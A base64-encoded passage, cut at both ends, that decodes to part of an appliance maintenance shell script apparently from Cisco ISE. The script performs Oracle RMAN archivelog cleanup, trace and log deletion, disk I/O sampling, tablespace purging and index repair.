0jCiMgUGVyZm9ybSBSTUFOIGFyY2hpdmVsb2cgY2xlYW51cCB3aXRoIFJNQU4KIyAobW92ZWQgZnJvbSBsZWdhY3kgZGJjbGVhbnVwLXRpbWVseS5zaCkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKcGVyZm9ybV9ybWFuX2NsZWFudXAoKQp7CiAgICBsb2cgMyAiU3RhcnRpbmcgYXV0b21hdGVkIElTRSBEQiBjbGVhbnVwIgogICAgIyBUaGlzIHNjcmlwdCB0YWtlcyBiYWNrdXAgb2YgYXJjaGl2ZWxvZ3MgYW5kIGRlbGV0ZXMgdGhlIGFyY2hpdmVzLgogICAgIyBCeSBkb2luZyB0aGlzIG9yYWNsZSByZWxlYXNlcyBzcGFjZSBmcm9tIFRoZSBGbGFzaCBSZWNvdmVyeSBBcmVhIChGUkEpLgogICAgcm0gLWYgL3RtcC9ybWFuX3RpbWVseQogICAgY2F0ID4gL3RtcC9ybWFuX3RpbWVseSA8PCBFT0YKQ0FUQUxPRyBSRUNPVkVSWSBBUkVBIE5PUFJPTVBUOwpDUk9TU0NIRUNLIEFSQ0hJVkVMT0cgQUxMOwpDSEFOR0UgQVJDSElWRUxPRyBBTEwgQ1JPU1NDSEVDSzsKREVMRVRFIE5PUFJPTVBUIEFSQ0hJVkVMT0cgQUxMOwpDUk9TU0NIRUNLIEJBQ0tVUFNFVDsKREVMRVRFIE5PUFJPTVBUIEVYUElSRUQgQkFDS1VQU0VUOwpERUxFVEUgTk9QUk9NUFQgQkFDS1VQU0VUIENPTVBMRVRFRCBCRUZPUkUgJ1NZU1RJTUVTVEFNUCc7CkVYSVQ7CkVPRgogICAgCiAgICBleHBvcnQgT1JBQ0xFX0JBU0U9L29wdC9vcmFjbGUvYmFzZQogICAgc3UgLSBvcmFjbGUgLWMgIiRPUkFDTEVfSE9NRS9iaW4vcm1hbiB0YXJnZXQgL0BzeXN0ZW0xMCBAL3RtcC9ybWFuX3RpbWVseSIgPiAvdG1wL3JtYW5fdGltZWx5LmxvZyAyPiYxCiAgICAjIHNlbmQgb3V0cHV0IGZpbGUgdG8gbG9nZ2VyIAogICAgY2F0IC90bXAvcm1hbl90aW1lbHkubG9nIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgICAjIERPIE5PVCBSRU1PVkUgcm1hbl90aW1lbHkubG9nISBpdCdzIHVzZWQgYWdhaW4gYnkgY2FsbGVyCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgUGVyZm9ybSBEQiBjbGVhbnVwIHdpdGggUk1BTgojIChtb3ZlZCBmcm9tIGxlZ2FjeSBkYmNsZWFudXAtdGltZWx5LnNoKQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwpwZXJmb3JtX2FnZ3Jlc3NpdmVfY2xlYW51cCgpCnsKICAgIHBlcmZvcm1fcm1hbl9jbGVhbnVwCiAgICAgICAKICAgICAgIGxvZyAyICJQZXJmb3JtaW5nIHRyYWNlIGFuZCBsb2cgeG1sIGNsZWFudXAiCiAgICAjbW9kaWZ5aW5nIHRoZSB0aW1lIHBlcmlvZCBmcm9tIDIgZGF5cyB0byAxIGhvdXIgZm9yIHRyYWNlLCB0cm0gZmlsZXMgYnVnIENTQ3ZlMTM5NDkgYnNldmFuZW4gCiAgICAgICBmaW5kIC9vcHQvb3JhY2xlL2Jhc2UvZGlhZy9yZGJtcy9jcG0xMC9jcG0xMC90cmFjZSAtbmFtZSAiKnRyYyIgLW1taW4gKzU5IC1leGVjIHJtIHt9IFw7IAogICAgICAgZmluZCAvb3B0L29yYWNsZS9iYXNlL2RpYWcvcmRibXMvY3BtMTAvY3BtMTAvdHJhY2UgLW5hbWUgIip0cm0iIC1tbWluICs1OSAtZXhlYyBybSB7fSBcOyAKICAgICAgIGZpbmQgL29wdC9vcmFjbGUvYmFzZS9kaWFnL3JkYm1zL2NwbTEwL2NwbTEwL2FsZXJ0IC1uYW1lICJsb2dfKi54bWwiIC1tdGltZSArMSAtZXhlYyBybSB7fSBcOwogICAgICAgZmluZCAvb3B0L29yYWNsZS9iYXNlL2RpYWcvdG5zbHNuci8qL2xpc3RlbmVyL2FsZXJ0IC1uYW1lICJsb2dfKi54bWwiIC1tdGltZSArMCAtZXhlYyBybSB7fSBcOwoKICAgICMgQ2hlY2sgZm9yIGVycm9ycyBhbmQgcGVyZm9ybSBPUyBjbGVhbnVwIGlmIHJlcXVpcmVkCiAgICBlZ3JlcCAtcSAiUk1BTi0wODEzN3xSTUFOLTAwNTY5fExpbnV4XCBFcnJvciIgL3RtcC9ybWFuX3RpbWVseS5sb2cgCiAgICBpZiBbICQ/IC1lcSAwIF0gOyB0aGVuCiAgICAgICBsb2cgMiAiUGVyZm9ybWluZyBPUyBjbGVhbnVwIG9mIGFyY2hpdmVsb2cgYW5kIGJhY2t1cHNldCBkaXJzIgogICAgICAgIyBwZXJmb3JtIE9TIGNsZWFudXAKICAgICAgIHJtIC1yZiAvb3B0L29yYWNsZS9iYXNlL2ZsYXNoX3JlY292ZXJ5X2FyZWEvQ1BNMTAvYXJjaGl2ZWxvZy8qCiAgICAgICBybSAtcmYgL29wdC9vcmFjbGUvYmFzZS9mbGFzaF9yZWNvdmVyeV9hcmVhL0NQTTEwL2JhY2t1cHNldC8qCgogICAgICAgIyBjYWxsIFJNQU4gY2xlYW51cCBhZ2FpbiB0byBzeW5jIHRoaW5ncyB1cCBhZnRlciBPUyBjbGVhbnVwCiAgICAgICBwZXJmb3JtX3JtYW5fY2xlYW51cAogICAgZWxzZQogICAgICAgbG9nIDMgIk5vIE9TIGNsZWFudXAgb2YgYXJjaGl2ZWxvZyBhbmQgYmFja3Vwc2V0IGRpcnMgaXMgcmVxdWlyZWQiCiAgICBmaQogICAgcm0gLWYgL3RtcC9ybWFuX3RpbWVseS5sb2cgL3RtcC9ybWFuX3RpbWVseQoKICAgICMgUmVtb3ZlIGVtcHR5IGZvbGRlcnMKICAgIGxvZyAzICJSZW1vdmluZyBlbXB0eSBmb2xkZXJzLi4uIgogICAgZmluZCAvb3B0L29yYWNsZS9iYXNlL2ZsYXNoX3JlY292ZXJ5X2FyZWEvQ1BNMTAvYXJjaGl2ZWxvZy8qIC10eXBlIGQgLWVtcHR5IC1leGVjIHJtZGlyIHt9IFw7IDI+L2Rldi9udWxsCiAgICBmaW5kIC9vcHQvb3JhY2xlL2Jhc2UvZmxhc2hfcmVjb3ZlcnlfYXJlYS9DUE0xMC9iYWNrdXBzZXQvKiAtdHlwZSBkIC1lbXB0eSAtZXhlYyBybWRpciB7fSBcOyAyPi9kZXYvbnVsbAogICAgbG9nIDMgIkF1dG9tYXRlZCBJU0UgREIgY2xlYW51cCBzY3JpcHQgY29tcGxldGVkIgp9Cgpod3JuZ19jaGVjaygpIHsKICBTVVBQT1JURURfUExBVEZPUk09MAoKICAjIEdldCB0aGUgVURJIGZvciB0aGUgc3Vic2VxdWVudCBjaGVjawogIGlmIFsgLWYgL2V0Yy92bXVkaSBdIDsgdGhlbgogICAgbXYgLWYgL2V0Yy92bXVkaSAvZXRjL3ZtdWRpLXRtcAogICAgVURJUElEPWAvb3B0L3N5c3RlbS9iaW4vY2Fyc191ZGlfdXRpbCAtcCB8IHRyIC1kICcgJ2AKICAgIG12IC1mIC9ldGMvdm11ZGktdG1wIC9ldGMvdm11ZGkKICBlbHNlCiAgICBVRElQSUQ9YC9vcHQvc3lzdGVtL2Jpbi9jYXJzX3VkaV91dGlsIC1wIHwgdHIgLWQgJyAnYAogIGZpCgogICMgVGhlIFVESSdzIGJlbG93IHN1cHBvcnQgaHcgcm5nCiAgaWYgWyAiJFVESVBJRCIgPT0gIlNOUy0zNDE1LUs5IiBdIHx8IFsgIiRVRElQSUQiID09ICJTTlMtMzQ5NS1LOSIgXSB8fCBbICIkVURJUElEIiA9PSAiU05TLTM1MTUtSzkiIF0gIHx8IFsgIiRVRElQSUQiID09ICJTTlMtMzYxNS1LOSIgXSB8fCBbICIkVURJUElEIiA9PSAiU05TLTM2NTUtSzkiIF0gfHwgWyAiJFVESVBJRCIgPT0gIlNOUy0zNjk1LUs5IiBdIHx8IFsgIiRVRElQSUQiID09ICJTTlMtMzcxNS1LOSIgXSB8fCBbICIkVURJUElEIiA9PSAiU05TLTM3NTUtSzkiIF0gfHwgWyAiJFVESVBJRCIgPT0gIlNOUy0zNzk1LUs5IiBdIDt0aGVuCiAgICBTVVBQT1JURURfUExBVEZPUk09MQogIGZpCgogICMgSWYgdGhlIHBsYXRmb3JtIHN1cHBvcnRzIGh3IHJuZyBidXQgdGhlIGRldmljZSBpc24ndCBwcmVzZW50LCBpZ25vcmUgYXR0ZW1wdHMgdG8gc3RhcnQgdG9tY2F0IHVubGVzcwogICMgJ3NhZmUnIG9wdGlvbiB3YXMgcGFzc2VkLiAgVGhpcyBwcmV2ZW50cyBtb25pdCBmcm9tIGNvbnRpbnVhbGx5IHRyeWluZyB0byAKICAjIHRvIHN0YXJ0IHRvbWNhdCB1bnN1Y2Nlc3NmdWxseS4KICBpZiBbICRTVVBQT1JURURfUExBVEZPUk0gLWVxIDEgXSAmJiBbICEgLWMgL2Rldi9od3JuZyBdOyB0aGVuCiAgICBsb2cgMiAiTm90aWNlOiBTdG9wcGluZyBJU0UgYXBwbGljYXRpb24gc2VydmVyIGFzIEhhcmR3YXJlIFJORyBpbnRlZ3JpdHkgY2hlY2sgZmFpbGVkIgogICAgL29wdC9DU0NPY3BtL2Jpbi9hcHBzZXJ2ZXJjb250cm9sLnNoIHN0b3AgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwogIGZpCn0KCiMgU2FtcGxlIEkvTyBwZXJmb3JtYW5jZSBldmVyeSAzIGhvdXJzIG9uIFZNIHBsYXRmb3Jtcy4gCiMgSWYgdGhlIGF2ZXJhZ2UgZG9lcyBub3QgbWVldCBhIGdpdmVuIHRocmVzaG9sZCBvZiBhdCBsZWFzdCA1MCBNYi9zZWMsIGZvciAKIyB3cml0ZSBiYW5kd2lkdGggYW5kIDMwMCBNYi9zZWMgZm9yIHJlYWQgYmFuZHdpZHRoIGRpcmVjdGx5IGZyb20gZGlzayBkZXZpY2UsCiMgdGhlbiAnSW5zdWZmaWNpZW50IFZpcnR1YWwgTWFjaGluZSBSZXNvdXJjZXMnIGFsYXJtIHdpbGwgYmUgcmFpc2UgZm9yIAojIElPIHBlcmZvcm1hbmNlLiAgVGhlIC92YXIvdG1wL3ZtX2lvcGVyZl93cml0ZS5vdXQgYW5kIC92YXIvdG1wL3ZtX2lvcGVyZl9yZWFkLm91dCAKIyBmaWxlcyBhcmUgcm9sbGVkIG92ZXIgaW4gZGFpbHkgY3Jvbi4gIFdlIGRvbid0IHdhbnQgYWxsIHRoZSBub2RlcyBydW5uaW5nIHRoaXMgYXQgCiMgZXhhY3RseSB0aGUgc2FtZSB0aW1lLCBzbyB3ZSBhZGQgYSByYW5kb20gc2xlZXAgb2YgdXAgdG8gMzAgc2Vjb25kcy4Kc2FtcGxlX3ZtX2lvcGVyZiAoKSB7CiAgL29wdC9zeXN0ZW0vYmluL2NhcnNfdWRpX3V0aWwgLXB8ZWdyZXAgLXEgIkNpc2NvLVZNLVNQSUR8SVNFLVZNfENQUC1WTSIKICBob3VyPWBkYXRlICslSGAKICBpZiBbICQ/IC1lcSAwIF0gJiYgWyAkKCggJHtob3VyIzB9ICUgMyApKSAtZXEgMCBdIDsgdGhlbgogICAgc2xlZXAgJCgoJFJBTkRPTSAlIDMwKSkKCiAgICBybSAtZiAvdG1wL2lvcGVyZnRlc3Qub3V0ICYmIHRvdWNoIC90bXAvaW9wZXJmdGVzdC5vdXQKICAgIFdSSVRFX0RBVEZJTEU9L3Zhci90bXAvdm1faW9wZXJmX3dyaXRlLm91dAogICAgZmlvIC0tcnc9cmFuZHdyaXRlICAtLWJzcmFuZ2U9NGstMTAyNGsgLS1uYW1lPXdyaXRldGVzdCAtLWZpbGVuYW1lPS9vcHQvaW93cml0ZXMgLS1pb2VuZ2luZT1saWJhaW8gLS1udW1qb2JzPTQgLS1kaXJlY3Q9MSAtLWlvZGVwdGg9MzIgLS1zaXplPTFHID4+IC90bXAvaW9wZXJmdGVzdC5vdXQKICAgIGNhdCAvdG1wL2lvcGVyZnRlc3Qub3V0IHwgZ3JlcCBXUklURSA+PiAkV1JJVEVfREFURklMRQogCiAgICBybSAtZiAvdG1wL2lvcGVyZnRlc3Qub3V0ICYmIHRvdWNoIC90bXAvaW9wZXJmdGVzdC5vdXQKICAgIFJFQURfREFURklMRT0vdmFyL3RtcC92bV9pb3BlcmZfcmVhZC5vdXQKICAgIERFVklDRT0vZGV2L3NkYQogICAgaWYgWyAhIC1iICRERVZJQ0UgXTsgdGhlbgogICAgICAgICMgSW4gY2FzZSBvZiBLVk0gd2l0aCB2aXJ0aW8sIHNldCB0aGUgZGV2aWNlIHRvIC9kZXYvdmRhCiAgICAgICAgREVWSUNFPS9kZXYvdmRhCiAgICBmaQogICAgZmlvIC0tYnNyYW5nZT00ay0xMDI0ayAtLWlvZW5naW5lPWxpYmFpbyAtLWlvZGVwdGg9MzIgLS1udW1qb2JzPTQgLS1ydz1yYW5kcmVhZCAtLW5hbWU9YXN5bmMgLS1maWxlbmFtZT0kREVWSUNFIC0tc2l6ZT0xZyAtLWRpcmVjdD0xID4+IC90bXAvaW9wZXJmdGVzdC5vdXQKICAgIGNhdCAvdG1wL2lvcGVyZnRlc3Qub3V0IHwgZ3JlcCBSRUFEID4+ICRSRUFEX0RBVEZJTEUKICAgIHJtIC1mIC90bXAvaW9wZXJmdGVzdC5vdXQgL29wdC9pb3dyaXRlcwogIGZpCn0KCnB1cmdlKCkKewpjaG1vZCAreCAvb3B0L0NTQ09jcG0vbW50L2Jpbi9DaGVja1BlcmNlbnRhZ2Uuc3FsCiAgZXhwb3J0IE9SQUNMRV9CQVNFPS9vcHQvb3JhY2xlL2Jhc2UKc3UgLSBvcmFjbGUgLWMgIiRPUkFDTEVfSE9NRS9iaW4vc3FscGx1cyAtUyAvQHN5c3RlbTEwIGFzIHN5c2RiYSAgIEAvb3B0L0NTQ09jcG0vbW50L2Jpbi9DaGVja1BlcmNlbnRhZ2Uuc3FsIiA+IC92YXIvdG1wL3B1cmdlY2hlY2sudHh0CgpUUz1gZGF0ZSArJVklbSVkLSVIJU0lU2AKUFVSR0VDT1VOVD1gY2F0IC92YXIvdG1wL3B1cmdlY2hlY2sudHh0ICB8IGF3ayB7J3ByaW50ICQxJ31gCgpsb2cgMyAiQ2hlY2tpbmcgbSZ0IHRhYmxlc3BhY2Ugc2l6ZS4uLjokUFVSR0VDT1VOVCIKICAgIGlmIFsgJFBVUkdFQ09VTlQgIC1nZSAgIjkwIiBdOyB0aGVuCgpjYXQgPiAvdmFyL3RtcC9leGVjdXRlLnNxbCA8PCBFT0YKYmVnaW4KcHVyZ2VfcHJvYzsKUkVCVUlMRF9JTkRFWDsKZW5kOwovCmV4aXQ7Ci8KRU9GCgogIGxvZyAyICJTdG9wcGluZyBJU0UgdG8gcHVyZ2UgbSZ0IHRhYmxlc3BhY2UuLi4iCiAgL29wdC9DU0NPY3BtL2Jpbi9jcG1jb250cm9sLnNoIHN0b3Bmcm9tc2NyaXB0IDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAKICBybSAtZiAvb3B0L0NTQ09jcG0vbW50L2Nzdi9yYXV0aC8qCiAgcm0gLWYgL29wdC9DU0NPY3BtL21udC9jc3YvcmFjYy8qCiAgcm0gLWYgL29wdC9DU0NPY3BtL21udC9jc3YvcmVycm9ycy8qCiAgcm0gLWYgL29wdC9DU0NPY3BtL21udC9kYXRhL2NvbGxlY3Rvci8qCgogIAogIGxvZyAyICJTdGFydGluZyBEQiB0byBwdXJnZSBtJnQgdGFibGVzcGFjZS4uLiIKICAvb3B0L0NTQ09jcG0vYmluL2RiY29udHJvbC5zaCBzdGFydCAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCgplY2hvICdzdGFydHVwJyB8IHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgIiAgMj4mMSB8IGxvZ1BpcGVkT3V0CgogIAogIGxvZyAyICJSdW5uaW5nIHB1cmdlLi4uIgogIHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgL0BtbnQxMCBAL3Zhci90bXAvZXhlY3V0ZS5zcWwiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICBybSAtZiAvdmFyL3RtcC9leGVjdXRlLnNxbAogIAogIGxvZyAyICJTdGFydGluZyBJU0UgYWZ0ZXIgcHVyZ2UuLi4iCiAgL29wdC9DU0NPY3BtL2Jpbi9jcG1jb250cm9sLnNoIHN0YXJ0ZnJvbXNjcmlwdCAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgICBmaQogIHJtIC1mIC92YXIvdG1wL3B1cmdlY2hlY2suc3FsCiAgcm0gLWYgL3Zhci90bXAvcHVyZ2VjaGVjay50eHQKCn0KCmNhbGxfZGJtb24oKQp7CmxvZyAzICJSdW5uaW5nIERCIE1vbml0b3JpbmcgYW5kIFNlbGYgSGVhbGluZyBTY3JpcHRzLi4uLiIKdGltZW91dCAzMCAgc3UgLSBvcmFjbGUgLWMgIiRDUE1fSE9NRS9kYi9zcWwvREJNb24vTW9uaXRvci5zaCIgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwpsb2cgMyAiQ29tcGxldGVkIHJ1bm5pbmcgREIgTW9uaXRvcmluZyBhbmQgU2VsZiBIZWFsaW5nIFNjcmlwdHMuLi4uIgp9CgoKa3BtbWV0cmljcygpCnsKICBpZiBbIGBjYXQgL29wdC9DU0NPY3BtL2NvbmZpZy9ub2RlLWNvbmZpZy5yYyB8IGdyZXAgIl5FTkFCTEVfTU5UIiB8IGF3ayAtRiI9IiAnIHsgcHJpbnQgJDIgfSAnYCAtZXEgMSBdCiAgdGhlbgogIAlsb2cgMyAiUnVubmluZyBLUE0gbWV0cmljcy4uLiIKICAJdGltZW91dCA5MDAgc3UgLSBvcmFjbGUgLWMgIiRPUkFDTEVfSE9NRS9iaW4vc3FscGx1cyAvQG1udDEwIEAvb3B0L0NTQ09jcG0vZGIvc3FsL2twbW1ldHJpY3Muc3FsIiAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgCWxvZyAzICJDb21wbGV0ZWQgcnVubmluZyBLUE0gbWV0cmljcyIKICBmaQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojIGtlZXAgb25seSAzIG9sZCBsb2cgZGlyZWNvdHJpZXMgYW5kIGNsZWFuIHVwIHRoZSByZW1haW5pbmcKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cExvZ0RpcigpCnsKICByZXRhaW5sYXN0PTMKICBmaWxlY291bnQ9MAoKICBscyAtZHQgJENQTV9IT01FL2xvZ3MtWzAtOV0qIDI+IC9kZXYvbnVsbCB8d2hpbGUgcmVhZCBhZmlsZSA7IGRvCiAgIGlmIFsgJGZpbGVjb3VudCAtbHQgJHJldGFpbmxhc3QgXSA7IHRoZW4KICAgICAgbG9nIDMgIlJldGFpbmluZyBsYXRlc3QgbG9nIGRpciA6ICRhZmlsZSIKICAgIGVsc2UKICAgICAgbG9nIDMgIkNsZWFuaW5nIHVwIG9sZCBsb2cgZGlyIDogJGFmaWxlIgogICAgICBybSAtcmYgJGFmaWxlIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAgIGZpCiAgICBmaWxlY291bnQ9YGV4cHIgJGZpbGVjb3VudCArIDFgCiAgZG9uZQoKfQoKY2hlY2tIZWFwRHVtcCgpewogIEhFQVBfRFVNUFM9ImBmaW5kIC9sb2NhbGRpc2svY29yZWZpbGVzLyAtbmFtZSAiamF2YSouaHByb2YqIiAtY21pbiAtNjAgLWV4ZWMgbHMgLXQge30gXDtgIgogIGlmIFsgISAteiAiJEhFQVBfRFVNUFMiIF0gOyB0aGVuCiAgICAgQVVESVRfTVNHSUQ9IjIwNjMiCiAgICAgQVVESVRfVFlQRT0iSEVBUF9EVU1QIgogICAgIEFVRElUX05BTUU9IkhFQVBfRFVNUF9HRU5FUkFURUQiCiAgICAgQVVESVRfVVNFUk5BTUU9InN5c3RlbSIKICAgICBBVURJVF9DQVVTRT0iSGVhcCBkdW1wIGdlbmVyYXRlZCIKICAgICBBVURJVF9BRE1JTklQPSIxMjcuMC4wLjEiCiAgICAgQVVESVRfSU5URVJGQUNFPSJDTEkiCiAgICAgQVVESVRfREVUQUlMPSJIZWFwIGR1bXAgZ2VuZXJhdGVkIG9uIG5vZGUgJEhPU1ROQU1FIgogCiAgICAgbG9nQXVkaXQgIiRBVURJVF9NU0dJRCIgIiRBVURJVF9UWVBFIiAiJEFVRElUX05BTUUiICIkQVVESVRfVVNFUk5BTUUiICIkQVVESVRfQ0FVU0UiICIkQVVESVRfQURNSU5JUCIgIiRBVURJVF9JTlRFUkZBQ0UiICIkQVVESVRfREVUQUlMIgoKICBmaQoKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBWdWxuZXJhYmlsaXR5IEFzc2Vzc21lbnQgaW5zZXJ0IGhvdXJseSBhZ2dyZWdhdGlvbiBkYXRhIHRvIEVsYXN0aWMgU2VhcmNoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCnZhQWdncmVnYXRpb24oKQp7CiAgbG9nIDMgIlJ1bm5pbmcgVkEgaG91cmx5IGFnZ3JlZ2F0aW9uIHRvIGluc2VydCB0byBFbGFzdGljIFNlYXJjaCIKICBwa2lsbCAtOSAtZiAidmFfYWRkX2J1bGtfYWdncmVnYXRpb24iID4gL2Rldi9udWxsIDI+JjEKICBub2h1cCAkQ1BNX0hPTUUvYmluL2VsYXN0aWNzZWFyY2gtY29udHJvbC5zaCB2YV9hZGRfYnVsa19hZ2dyZWdhdGlvbiB2YWhpc3RvcmljZGF0YWhvdXJseSAmCn0KCmlzVXBncmFkZUluUHJvZ3Jlc3MoKQp7CiAgbG9nIDMgIkNoZWNraW5nIGlmIFVwZ3JhZGUgaXMgcnVubmluZyIKICBwcyAtZWZ3dyB8IGdyZXAgLXYgZ3JlcCB8IGdyZXAgLXEgLWUgInByZWluc3RhbGwuc2giIC1lICJpc2VkYnVwZ3JhZGUtbmV3bW9kZWwuc2giIC1lICJwb3N0aW5zdGFsbC5zaCIgLWUgInBvc3Qtb3N1cGdyYWRlLnNoIgogIGlmIFsgJD8gLWVxIDAgXSA7IHRoZW4KICAgIElTX1VQR1JBREVfUlVOTklORz0iVFJVRSIKICAgIGxvZyAzICJVcGdyYWRlIGlzIHJ1bm5pbmciCiAgZWxzZQogICAgSVNfVVBHUkFERV9SVU5OSU5HPSJGQUxTRSIKICAgIGxvZyAzICJVcGdyYWRlIGlzIG5vdCBydW5uaW5nIgogIGZpCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMga2VlcCBNTlQgdGFibGVzIHRvIG1lbW9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCgptbnRfdGFiX21lbSgpCnsKTk9ERV9DT05GSUc9L29wdC9DU0NPY3BtL2NvbmZpZy9ub2RlLWNvbmZpZy5yYwogWyAtZiAkTk9ERV9DT05GSUcgXSAmJiBzb3VyY2UgJE5PREVfQ09ORklHCmlmIFsgJEVOQUJMRV9NTlQgLWVxIDEgXTsgdGhlbgpjYXQgPiAvdG1wL3NnYXNpemUuc3FsIDw8RU9GCnNlbGVjdCByb3VuZCh2YWx1ZS8oMTAyNCoxMDI0KjEwMjQpKSBzZ2EgZnJvbSB2XCRwYXJhbWV0ZXIgd2hlcmUgbmFtZSA9J3NnYV90YXJnZXQnOwpleGl0OwpFT0YKdGltZW91dCA2MCBzdSAtIG9yYWNsZSAtYyAic3FscGx1cyAtUyAvQHN5c3RlbTEwIGFzIHN5c2RiYSBAL3RtcC9zZ2FzaXplLnNxbCIgID4gL3RtcC9zZ2FzaXplLnR4dAoKdnNnYT1gYXdrICdOUj09NHtwcmludCAkMX0nIC90bXAvc2dhc2l6ZS50eHRgCnZyYW09YGZyZWUgLWcgfCBhd2sgJ05SPT0ye3ByaW50ICQyfSdgCgogIGxvZyAzICJzdGFydCBwaW5uaW5nIE1OVCB0YWJsZXMgdG8gbWVtb3J5ICIKCiAgY2F0ID4gL3RtcC9tbnRfdGFiX21lbS5zcWwgPDwgRU9GCgogIGJlZ2luCiAga2VlcF9wYXJ0X2J1ZmZlcjsKICBleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbgogIG51bGw7CiAgZW5kOwogIC8KIGV4aXQ7CkVPRgoKY2F0ID4gL3RtcC9tbnRfdGFiX21lbTI1MC5zcWwgPDwgRU9GCgogIGJlZ2luCiAga2VlcF9wYXJ0X2J1ZmZlcjI1MDsKICBleGNlcHRpb24gd2hlbiBvdGhlcnMgdGhlbgogIG51bGw7CiAgZW5kOwogIC8KIGV4aXQ7CkVPRgoKaWYgWyAkdnJhbSAtZ3QgMTUwIF0gICYmIFsgJHZzZ2EgLWd0IDEwMCBdOyB0aGVuCnRpbWVvdXQgMTIwIHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgL0BtbnQxMCBAL3RtcC9tbnRfdGFiX21lbTI1MC5zcWwiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KZWxpZiBbICR2cmFtIC1ndCAzMCBdICAmJiBbICR2c2dhIC1ndCA5IF07IHRoZW4KdGltZW91dCAxMjAgc3UgLSBvcmFjbGUgLWMgIiRPUkFDTEVfSE9NRS9iaW4vc3FscGx1cyAvQG1udDEwIEAvdG1wL21udF90YWJfbWVtLnNxbCIgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwpmaQoKcm0gLWYgL3RtcC9tbnRfdGFiX21lbS5zcWwKbG9nIDMgIkNvbXBsZXRlZCBwaW5uaW5nIE1OVCB0YWJsZXMgdG8gbWVtb3J5ICIKZmkKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBGaXhpbmcgaW5kZXggY29ycnVwdGlvbiBpbiBPcmFjbGUgY29uZmlnIGRiCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKCmluZGV4X2NvcnJ1cHRfZml4KCl7CgoKZWNobyAndmFsaWRhdGUgdGFibGVzcGFjZSBjcG1uczsnIHwgc3UgLSBvcmFjbGUgLWMgInJtYW4gdGFyZ2V0IC9Ac3lzdGVtMTAiICAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCmNhdCA+IC90bXAvaW5kZXhfY29yci5zcWwgPDwgRU9GCgpEUk9QICB0eXBlIHRhYl9pbmRleF9udCAKLwpDUkVBVEUgT1IgUkVQTEFDRSBUWVBFIHRhYl9pbmRleF9vYmogQVMgT0JKRUNUICgKdGFibGVfbmFtZSAgIFZBUkNIQVIyKDUwKSwKSW5kZXhfbmFtZSBWQVJDSEFSMigzMCkpIDsKLwpjcmVhdGUgdHlwZSB0YWJfaW5kZXhfbnQgYXMgdGFibGUgb2YgdGFiX2luZGV4X29iaiA7Ci8KCgpjcmVhdGUgb3IgcmVwbGFjZSBwcm9jZWR1cmUgcmVidWlsZF9jb3JyaW5kZXhlcyBhcwplbWVzZyB2YXJjaGFyMig0MDAwKTsKdGFiX2luZGV4X3QgICB0YWJfaW5kZXhfbnQ6PXRhYl9pbmRleF9udCgpOwpiZWdpbgpiZWdpbgpleGVjdXRlIGltbWVkaWF0ZSdjcmVhdGUgdGFibGUgZGJfZXJyb3JzKFRJTUVTVEFNUCAgVElNRVNUQU1QKDYpLCBDT01QT05FTlQgVkFSQ0hBUjIoNTApLCBURVhUICB2YXJjaGFyMig0MDAwKSknOyAgCmV4Y2VwdGlvbiB3aGVuIG90aGVycyB0aGVuIG51bGw7CmVuZDsKIApiZWdpbgpTRUxFQ1QgIHRhYl9pbmRleF9vYmoob3duZXIsaW5kZXhfbmFtZSkgQlVMSyBDT0xMRUNUIElOVE8gdGFiX2luZGV4X3QgRlJPTSBkYmFfaW5kZXhlcyAgV0hFUkUgb3duZXIgaW4gKCdDRVBNJykgYW5kCmluZGV4X25hbWU